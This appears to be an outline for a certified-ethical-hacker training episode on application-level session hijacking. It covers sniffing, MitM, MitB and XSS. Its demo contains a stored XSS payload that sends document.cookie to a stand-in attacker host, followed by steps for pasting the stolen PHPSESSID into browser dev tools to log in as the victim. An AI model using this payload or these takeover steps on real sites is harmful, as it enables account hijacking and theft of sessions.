

- Filename: eccouncil-ceh31250-v11-11-3-1-application-level-session-hijacking.md
 - Show Name: CEHV11 (312-50)
 - Topic Name: Network and Perimeter Hacking: Session Hijacking
 - Episode Name: Application Level Session Hijacking
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Application Level Session Hijacking

Objectives:

- List and define common Application-Level Session Hijacking attacks
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- What are some of the common App-Level Session Hijacking attacks we should be aware of?
 - Sniffing
 - Just sniff network traffic and intercept session tokens/IDs
 - MitM
 - Employ MitM to enable traffic sniffing
 - MitB
 - Malware-based approach
 - Malware hooks the browser and intercepts session info
 - XSS
 - **DEMO**
 - Reflected
 - DOM-based
 - Stored | Persistent
 - Attacker setup:
 - Setup HTTP listener with Python
 - `<script>new Image().src="http://ATTACK-IP/bogus.php?output="+document.cookie;</script>`
 - Target then browses to 'blog'
 - Target token shows up in Attack HTTP log
 - Attacker then copies token and logs into Web site
 - Ctrl-Shift-I to start browser Dev tools
 - Storage
 - Paste token into PHPSESSID value
 - Reload page (you are now logged in as AIM)

